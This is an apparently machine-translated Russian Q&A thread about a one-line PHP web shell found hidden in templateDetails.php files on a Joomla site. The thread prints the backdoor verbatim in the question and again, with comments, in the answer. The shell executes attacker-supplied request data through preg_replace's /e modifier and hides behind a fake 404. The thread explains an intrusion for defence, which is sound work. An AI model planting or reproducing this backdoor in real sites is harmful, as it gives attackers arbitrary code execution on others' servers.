2015-11-19 1 views
-1

Я только что нашел на установке Joomla сайта я управляю много templateDetails.php файлов, скрытых внутри различных папок с помощью следующего кода:Что означает код и как его могут использовать злонамеренные хакеры?

<?php if (!isset($_REQUEST['e44e'])) header("HTTP/1.0 404 Not Found"); @preg_replace('/(.*)/e', @$_REQUEST['e44e'], ''); ?> 

Я быстро восстановить резервную копию сайта, изменил все пароли администратора и армированное безопасность на веб-сайте.

Можете ли вы объяснить мне, как этот тип кода используется для похищения или повреждения веб-сайта?

+0

Возможно релевантный - http://stackoverflow.com/questions/2142497/whats-wrong-with-using-request –

+0

Он использует флаг '' '' (http://php.net/manual/en/ reference.pcre.pattern.modifiers.php) к функциям PCRE, которые оценивают PHP-код в регулярном выражении, что позволяет выполнять произвольный код. –

ответ

3

Я прокомментировал код ниже для Вас, чтобы объяснить:

<?php 
//Check for a POST or GET (query string) variable called e44e 
if (!isset($_REQUEST['e44e'])) 
header("HTTP/1.0 404 Not Found"); //If that variable doesn't exist, send a 404 

// This is quite clever - the 'e' flag in preg forces PHP to eval the string, and then in theory use the result as the preg_replace (however in this case, that bit doesn't matter, as actually all we are looking to do is evecute whatever has been passed through request - basically doing eval(), but hiding it so it's not as obvious, and won't get picked up (in theory) by any installs that block eval (although in practise most then also stop the e flag from working as well) 
@preg_replace('/(.*)/e', @$_REQUEST['e44e'], ''); 
?> 

В то, что это причудливый способ использовать Eval(), что позволяет им проходить через какой-либо код в виде строки запроса, а затем исполните его!

Смежные вопросы